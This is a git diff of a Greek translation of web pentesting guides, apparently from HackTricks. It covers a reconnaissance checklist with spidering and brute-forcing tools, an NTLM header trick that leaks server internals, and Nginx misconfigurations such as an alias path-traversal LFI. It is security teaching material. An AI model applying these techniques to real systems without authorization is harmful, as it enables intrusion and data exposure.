+* [ ] Υπάρχει κάποιος **ειδικευμένος σαρωτής** που να τρέξετε (όπως το wpscan);
 * [ ] Ξεκινήστε με **γενικούς σαρωτές**. Ποτέ δεν ξέρετε αν θα βρουν κάτι ή αν θα βρουν κάποιες ενδιαφέρουσες πληροφορίες.
 * [ ] Ξεκινήστε με τους **αρχικούς ελέγχους**: **robots**, **sitemap**, **404** σφάλμα και **SSL/TLS σάρωση** (αν είναι HTTPS).
-* [ ] Ξεκινήστε **spidering** της ιστοσελίδας: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
+* [ ] Ξεκινήστε **spidering** τη web σελίδα: Είναι ώρα να **βρείτε** όλα τα πιθανά **αρχεία, φακέλους** και **παραμέτρους που χρησιμοποιούνται.** Επίσης, ελέγξτε για **ειδικές ανακαλύψεις**.
 * [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει spidering._
 * [ ] **Directory Brute-Forcing**: Προσπαθήστε να κάνετε brute force σε όλους τους ανακαλυφθέντες φακέλους αναζητώντας νέα **αρχεία** και **φακέλους**.
 * [ ] _Σημειώστε ότι κάθε φορά που ανακαλύπτεται ένας νέος φάκελος κατά τη διάρκεια του brute-forcing ή του spidering, θα πρέπει να γίνει Brute-Forced._
@ -83,7 +83,7 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
 * [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 * [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)

-### Τεχνάσματα διαδικτύου
+### Τεχνάσματα διαδικτυακής τεχνολογίας

 Ορισμένα **τεχνάσματα** για **να βρείτε ευπάθειες** σε διάφορες γνωστές **τεχνολογίες** που χρησιμοποιούνται:

@ -120,11 +120,11 @@ Search **for** [**ευπάθειες της έκδοσης της διαδικτ
 * [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)

 _Λάβετε υπόψη ότι το **ίδιο domain** μπορεί να χρησιμοποιεί **διαφορετικές τεχνολογίες** σε διαφορετικές **θύρες**, **φακέλους** και **subdomains**._\
-Αν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **ψάξετε στο Διαδίκτυο** για νέες τεχνικές (και ενημερώστε με!).
+Αν η διαδικτυακή εφαρμογή χρησιμοποιεί οποιαδήποτε γνωστή **τεχνολογία/πλατφόρμα που αναφέρθηκε παραπάνω** ή **οποιαδήποτε άλλη**, μην ξεχάσετε να **αναζητήσετε στο Διαδίκτυο** νέες τεχνικές (και ενημερώστε με!).

-### Ανασκόπηση Κώδικα
+### Ανασκόπηση Πηγαίου Κώδικα

-Αν ο **κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση από **τον εαυτό σας ενός White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:
+Αν ο **πηγαίος κώδικας** της εφαρμογής είναι διαθέσιμος στο **github**, εκτός από την εκτέλεση ενός **White box test** της εφαρμογής, υπάρχει **ορισμένες πληροφορίες** που θα μπορούσαν να είναι **χρήσιμες** για την τρέχουσα **Black-Box testing**:

 * Υπάρχει κάποιο **Change-log ή Readme ή Version** αρχείο ή οτιδήποτε με **πληροφορίες έκδοσης προσβάσιμες** μέσω διαδικτύου;
 * Πώς και πού αποθηκεύονται τα **credentials**; Υπάρχει κάποιο (προσβάσιμο;) **αρχείο** με credentials (ονόματα χρηστών ή κωδικούς);
@ -174,7 +174,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs

 ### Αρχικές ελέγχοι

-**Προεπιλεγμένες σελίδες με ενδιαφέροντα στοιχεία:**
+**Προεπιλεγμένες σελίδες με ενδιαφέροντα πληροφορίες:**

 * /robots.txt
 * /sitemap.xml
@ -185,12 +185,12 @@ joomlavs.rb #https://github.com/rastating/joomlavs

 **Εξαναγκασμός σφαλμάτων**

-Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **να αποκαλύψει ευαίσθητες πληροφορίες**.
+Οι web servers μπορεί να **συμπεριφέρονται απροσδόκητα** όταν τους αποστέλλονται περίεργα δεδομένα. Αυτό μπορεί να ανοίξει **ευπάθειες** ή **αποκάλυψη ευαίσθητων πληροφοριών**.

 * Πρόσβαση σε **ψεύτικες σελίδες** όπως /whatever\_fake.php (.aspx,.html,.κλπ)
 * **Προσθέστε "\[]", "]]", και "\[\["** στις **τιμές cookie** και **τιμές παραμέτρων** για να δημιουργήσετε σφάλματα
 * Δημιουργήστε σφάλμα δίνοντας είσοδο ως **`/~randomthing/%s`** στο **τέλος** της **διεύθυνσης URL**
-* Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λανθασμένα όπως FAKE
+* Δοκιμάστε **διαφορετικά HTTP Verbs** όπως PATCH, DEBUG ή λάθος όπως FAKE

 #### **Ελέγξτε αν μπορείτε να ανεβάσετε αρχεία (**[**PUT verb, WebDav**](put-method-webdav.md)**)**

@ -220,30 +220,30 @@ Information about SSL/TLS vulnerabilities:

 ### Spidering

-Λανσάρετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.
+Λάβετε κάποιο είδος **spider** μέσα στο διαδίκτυο. Ο στόχος του spider είναι να **βρει όσο το δυνατόν περισσότερους δρόμους** από την εφαρμογή που δοκιμάζεται. Επομένως, θα πρέπει να χρησιμοποιηθούν web crawling και εξωτερικές πηγές για να βρείτε όσο το δυνατόν περισσότερους έγκυρους δρόμους.

 * [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder σε αρχεία JS και εξωτερικές πηγές (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFinder για αρχεία JS και Archive.org ως εξωτερική πηγή.
+* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, με LinkFider για αρχεία JS και Archive.org ως εξωτερική πηγή.
 * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, υποδεικνύει επίσης "juicy files".
 * [**evine** ](https://github.com/saeeddhqan/evine)(go): Διαδραστικός CLI HTML spider. Αναζητά επίσης στο Archive.org.
 * [**meg**](https://github.com/tomnomnom/meg) (go): Αυτό το εργαλείο δεν είναι spider αλλά μπορεί να είναι χρήσιμο. Μπορείτε απλά να υποδείξετε ένα αρχείο με hosts και ένα αρχείο με paths και το meg θα ανακτήσει κάθε path σε κάθε host και θα αποθηκεύσει την απάντηση.
-* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες rendering JS. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν συντάσσεται.
+* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider με δυνατότητες JS rendering. Ωστόσο, φαίνεται ότι δεν συντηρείται, η προcompiled έκδοση είναι παλιά και ο τρέχων κώδικας δεν μεταγλωττίζεται.
 * [**gau**](https://github.com/lc/gau) (go): HTML spider που χρησιμοποιεί εξωτερικούς παρόχους (wayback, otx, commoncrawl).
 * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Αυτό το script θα βρει URLs με παραμέτρους και θα τα καταγράψει.
-* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες rendering JS.
-* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες beautify JS ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
-* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο από HTML πηγή όσο και από ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
+* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider με δυνατότητες JS rendering.
+* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, με δυνατότητες JS beautify ικανές να αναζητούν νέους δρόμους σε αρχεία JS. Θα άξιζε επίσης να ρίξετε μια ματιά στο [JSScanner](https://github.com/dark-warlord14/JSScanner), το οποίο είναι ένα wrapper του LinkFinder.
+* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Για την εξαγωγή endpoints τόσο σε HTML πηγή όσο και σε ενσωματωμένα αρχεία javascript. Χρήσιμο για bug hunters, red teamers, infosec ninjas.
 * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Ένα script python 2.7 που χρησιμοποιεί Tornado και JSBeautifier για να αναλύσει σχετικές URLs από αρχεία JavaScript. Χρήσιμο για την εύκολη ανακάλυψη AJAX requests. Φαίνεται ότι δεν συντηρείται.
 * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Δίνοντας ένα αρχείο (HTML) θα εξάγει URLs από αυτό χρησιμοποιώντας έξυπνη κανονική έκφραση για να βρει και να εξάγει τις σχετικές URLs από άσχημα (minify) αρχεία.
-* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, διάφορα εργαλεία): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
+* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Συγκεντρώνει ενδιαφέρουσες πληροφορίες από αρχεία JS χρησιμοποιώντας διάφορα εργαλεία.
 * [**subjs**](https://github.com/lc/subjs) (go): Βρείτε αρχεία JS.
-* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτωθεί η σελίδα.
+* [**page-fetch**](https://github.com/detectify/page-fetch) (go): Φορτώστε μια σελίδα σε έναν headless browser και εκτυπώστε όλες τις URLs που φορτώθηκαν για να φορτώσετε τη σελίδα.
 * [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Εργαλείο ανακάλυψης περιεχομένου που συνδυάζει πολλές επιλογές των προηγούμενων εργαλείων.
 * [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Μια επέκταση Burp για να βρείτε δρόμους και παραμέτρους σε αρχεία JS.
-* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το URL .js.map θα σας δώσει τον beautified κώδικα JS.
+* [**Sourcemapper**](https://github.com/denandz/sourcemapper): Ένα εργαλείο που δίνοντας το .js.map URL θα σας δώσει τον beautified JS κώδικα.
 * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Αυτό είναι ένα εργαλείο που χρησιμοποιείται για την ανακάλυψη endpoints για έναν δεδομένο στόχο.
-* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη μηχανή wayback και αναζητώντας περισσότερους συνδέσμους).
-* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regex.
+* [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Ανακαλύψτε συνδέσμους από τη μηχανή wayback (κατεβάζοντας επίσης τις απαντήσεις στη wayback και αναζητώντας περισσότερους συνδέσμους).
+* [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (ακόμα και συμπληρώνοντας φόρμες) και επίσης βρείτε ευαίσθητες πληροφορίες χρησιμοποιώντας συγκεκριμένες regexes.
 * [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite είναι ένα προηγμένο multi-feature GUI web security Crawler/Spider σχεδιασμένο για επαγγελματίες κυβερνοασφάλειας.
 * [**jsluice**](https://github.com/BishopFox/jsluice) (go): Είναι ένα πακέτο Go και [εργαλείο γραμμής εντολών](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) για την εξαγωγή URLs, δρόμων, μυστικών και άλλων ενδιαφέροντων δεδομένων από τον πηγαίο κώδικα JavaScript.
 * [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Το ParaForge είναι μια απλή **επέκταση Burp Suite** για **να εξάγει τις παραμέτρους και τα endpoints** από το αίτημα για να δημιουργήσει προσαρμοσμένες λίστες λέξεων για fuzzing και αρίθμηση.
@ -269,7 +269,7 @@ Information about SSL/TLS vulnerabilities:
 **Συνιστώμενα λεξικά:**

 * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/bf\_directories.txt)
-* [**Dirsearch** συμπεριλαμβανόμενο λεξικό](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
+* [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
 * [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
 * [Assetnote wordlists](https://wordlists.assetnote.io)
 * [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -297,10 +297,10 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 * _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 * _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 * **Comments:** Ελέγξτε τα σχόλια όλων των αρχείων, μπορείτε να βρείτε **credentials** ή **κρυφή λειτουργικότητα**.
-* Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και **να κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
+* Αν παίζετε **CTF**, ένα "κοινό" κόλπο είναι να **κρύβετε** **πληροφορίες** μέσα σε σχόλια στα **δεξιά** της **σελίδας** (χρησιμοποιώντας **εκατοντάδες** **κενά** ώστε να μην βλέπετε τα δεδομένα αν ανοίξετε τον πηγαίο κώδικα με τον browser). Μια άλλη δυνατότητα είναι να χρησιμοποιήσετε **πολλές νέες γραμμές** και να **κρύψετε πληροφορίες** σε ένα σχόλιο στο **κάτω μέρος** της ιστοσελίδας.
 * **API keys**: Αν **βρείτε οποιοδήποτε API key** υπάρχει οδηγός που υποδεικνύει πώς να χρησιμοποιήσετε API keys διαφόρων πλατφορμών: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
 * Google API keys: Αν βρείτε οποιοδήποτε API key που μοιάζει με **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik μπορείτε να χρησιμοποιήσετε το έργο [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) για να ελέγξετε ποιες APIs μπορεί να έχει πρόσβαση το key.
-* **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν οποιοδήποτε **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/).
+* **S3 Buckets**: Κατά τη διάρκεια του spidering ελέγξτε αν κάποια **subdomain** ή οποιοσδήποτε **σύνδεσμος** σχετίζεται με κάποιο **S3 bucket**. Σε αυτή την περίπτωση, [**ελέγξτε** τις **άδειες** του bucket](buckets/).

 ### Special findings

@ -313,7 +313,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται
 * Αν βρείτε ένα _**.env**_ πληροφορίες όπως api keys, κωδικούς db και άλλες πληροφορίες μπορεί να βρεθούν.
 * Αν βρείτε **API endpoints** θα [πρέπει επίσης να τα δοκιμάσετε](web-api-pentesting.md). Αυτά δεν είναι αρχεία, αλλά πιθανότατα θα "μοιάζουν" με αυτά.
 * **JS files**: Στην ενότητα spidering αναφέρθηκαν διάφορα εργαλεία που μπορούν να εξάγουν δρόμους από αρχεία JS. Επίσης, θα ήταν ενδιαφέρον να **παρακολουθείτε κάθε JS αρχείο που βρέθηκε**, καθώς σε ορισμένες περιπτώσεις, μια αλλαγή μπορεί να υποδηλώνει ότι μια πιθανή ευπάθεια εισήχθη στον κώδικα. Μπορείτε να χρησιμοποιήσετε για παράδειγμα [**JSMon**](https://github.com/robre/jsmon)**.**
-* Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να βρείτε αν είναι ευάλωτα.
+* Θα πρέπει επίσης να ελέγξετε τα ανακαλυφθέντα JS αρχεία με [**RetireJS**](https://github.com/retirejs/retire.js/) ή [**JSHole**](https://github.com/callforpapers-source/jshole) για να δείτε αν είναι ευάλωτα.
 * **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
 * **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
 * **JsFuck deobfuscation** (javascript με χαρακτήρες:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
@ -333,7 +333,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται

 **NTLM Authentication - Info disclosure**

-Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή αν βρείτε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
+Αν ο τρέχων server ζητάει αυθεντικοποίηση είναι **Windows** ή βρίσκετε μια είσοδο που ζητάει τα **credentials** σας (και ζητάει το **domain** **name**), μπορείτε να προκαλέσετε μια **διαρροή πληροφοριών**.\
 **Στείλτε** την **κεφαλίδα**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` και λόγω του πώς λειτουργεί η **NTLM αυθεντικοποίηση**, ο server θα απαντήσει με εσωτερικές πληροφορίες (έκδοση IIS, έκδοση Windows...) μέσα στην κεφαλίδα "WWW-Authenticate".\
 Μπορείτε να **αυτοματοποιήσετε** αυτό χρησιμοποιώντας το **nmap plugin** "_http-ntlm-info.nse_".

@ -343,13 +343,13 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται

 ### Web Vulnerabilities Checking

-Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι ώρα να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:
+Τώρα που έχει γίνει μια εκτενής αρίθμηση της web εφαρμογής είναι καιρός να ελέγξετε για πολλές πιθανές ευπάθειες. Μπορείτε να βρείτε τη λίστα ελέγχου εδώ:

 {% content-ref url="../../pentesting-web/web-vulnerabilities-methodology.md" %}
 [web-vulnerabilities-methodology.md](../../pentesting-web/web-vulnerabilities-methodology.md)
 {% endcontent-ref %}

-Βρείτε περισσότερες πληροφορίες σχετικά με τις web vulns στο:
+Βρείτε περισσότερες πληροφορίες σχετικά με τις web ευπάθειες στο:

 * [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 * [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/configuration\_and\_deployment\_management\_testing.html)
@ -361,7 +361,7 @@ _Σημειώστε ότι κάθε φορά που ανακαλύπτεται

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Get a hacker's perspective on your web apps, network, and cloud**

 **Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.

--- a/network-services-pentesting/pentesting-web/nginx.md
+++ b/network-services-pentesting/pentesting-web/nginx.md
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s

 <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>

-#### Get a hacker's perspective on your web apps, network, and cloud
+**Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud**

-**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
+**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.

 {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

 ## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>

-When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
+Όταν ρυθμίζετε τον διακομιστή Nginx, η **κατεύθυνση root** παίζει κρίσιμο ρόλο καθορίζοντας τον βασικό κατάλογο από τον οποίο εξυπηρετούνται τα αρχεία. Σκεφτείτε το παρακάτω παράδειγμα:
 ```bash
 server {
 root /etc/nginx;
@ -38,7 +38,7 @@ proxy_pass http://127.0.0.1:8080/;
 ```
 Σε αυτή τη διαμόρφωση, το `/etc/nginx` έχει οριστεί ως ο ριζικός κατάλογος. Αυτή η ρύθμιση επιτρέπει την πρόσβαση σε αρχεία εντός του καθορισμένου ριζικού καταλόγου, όπως το `/hello.txt`. Ωστόσο, είναι κρίσιμο να σημειωθεί ότι μόνο μια συγκεκριμένη τοποθεσία (`/hello.txt`) έχει οριστεί. Δεν υπάρχει διαμόρφωση για τη ριζική τοποθεσία (`location / {...}`). Αυτή η παράλειψη σημαίνει ότι η οδηγία ρίζας ισχύει παγκοσμίως, επιτρέποντας τα αιτήματα για τη ριζική διαδρομή `/` να έχουν πρόσβαση σε αρχεία κάτω από το `/etc/nginx`.

-Μια κρίσιμη σκέψη ασφαλείας προκύπτει από αυτή τη διαμόρφωση. Ένα απλό αίτημα `GET`, όπως το `GET /nginx.conf`, θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες παρέχοντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο `/etc/nginx/nginx.conf`. Η ρύθμιση της ρίζας σε έναν λιγότερο ευαίσθητο κατάλογο, όπως το `/etc`, θα μπορούσε να μετριάσει αυτόν τον κίνδυνο, ωστόσο μπορεί να επιτρέπει ακόμα μη προγραμματισμένη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, αρχείων καταγραφής πρόσβασης και ακόμη και κωδικών πρόσβασης που χρησιμοποιούνται για την HTTP βασική αυθεντικοποίηση.
+Μια κρίσιμη σκέψη ασφαλείας προκύπτει από αυτή τη διαμόρφωση. Ένα απλό αίτημα `GET`, όπως το `GET /nginx.conf`, θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες παρέχοντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο `/etc/nginx/nginx.conf`. Η ρύθμιση της ρίζας σε έναν λιγότερο ευαίσθητο κατάλογο, όπως το `/etc`, θα μπορούσε να μετριάσει αυτόν τον κίνδυνο, ωστόσο μπορεί να επιτρέπει ακόμα μη προγραμματισμένη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, αρχείων καταγραφής πρόσβασης και ακόμη και κωδικών πρόσβασης που χρησιμοποιούνται για την HTTP basic authentication.

 ## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>

@ -48,7 +48,7 @@ location /imgs {
 alias /path/images/;
 }
 ```
-Αυτή η διαμόρφωση είναι επιρρεπής σε επιθέσεις LFI λόγω της ερμηνείας των αιτημάτων από τον διακομιστή όπως το `/imgs../flag.txt` ως μια προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, επιλύοντας αποτελεσματικά σε `/path/images/../flag.txt`. Αυτή η αδυναμία επιτρέπει στους επιτιθέμενους να ανακτούν αρχεία από το σύστημα αρχείων του διακομιστή που δεν θα έπρεπε να είναι προσβάσιμα μέσω του διαδικτύου.
+Αυτή η διαμόρφωση είναι επιρρεπής σε επιθέσεις LFI λόγω της ερμηνείας των αιτημάτων από τον διακομιστή όπως το `/imgs../flag.txt` ως μια προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, επιλύοντας αποτελεσματικά σε `/path/images/../flag.txt`. Αυτή η αδυναμία επιτρέπει στους επιτιθέμενους να ανακτούν αρχεία από το σύστημα αρχείων του διακομιστή που δεν θα έπρεπε να είναι προσβάσιμα μέσω του ιστού.

 Για να μετριαστεί αυτή η ευπάθεια, η διαμόρφωση θα πρέπει να προσαρμοστεί σε:
 ```
@ -128,7 +128,7 @@ Detectify: clrf

 Ορισμένες ευάλωτες ρυθμίσεις που βρέθηκαν σε αυτή την ομιλία ήταν:

-* Σημειώστε πώς **`$uri`** είναι ρυθμισμένο όπως είναι στην τελική διεύθυνση URL
+* Σημειώστε πώς **`$uri`** έχει οριστεί όπως είναι στην τελική διεύθυνση URL
 ```
 location ^~ /lite/api/ {
 proxy_pass http://lite-backend$uri$is_args$args;
@ -146,11 +146,11 @@ location /s3/ {
 proxy_pass https://company-bucket.s3.amazonaws.com$uri;
 }
 ```
-### Οποιαδήποτε μεταβλητή
+### Any variable

-Ανακαλύφθηκε ότι τα **δεδομένα που παρέχονται από τον χρήστη** μπορεί να αντιμετωπίζονται ως **μεταβλητή Nginx** υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει κάπως ασαφής, ωστόσο δεν είναι σπάνια ούτε απλή η επαλήθευσή της. Αυτή η ανωμαλία επισημάνθηκε σε μια αναφορά ασφαλείας στο HackerOne, την οποία μπορείτε να δείτε [εδώ](https://hackerone.com/reports/370094). Περεταίρω έρευνα στο μήνυμα σφάλματος οδήγησε στην αναγνώριση της εμφάνισής του μέσα στον [μηχανισμό φίλτρου SSI του κώδικα Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), προσδιορίζοντας τις Server Side Includes (SSI) ως την κύρια αιτία.
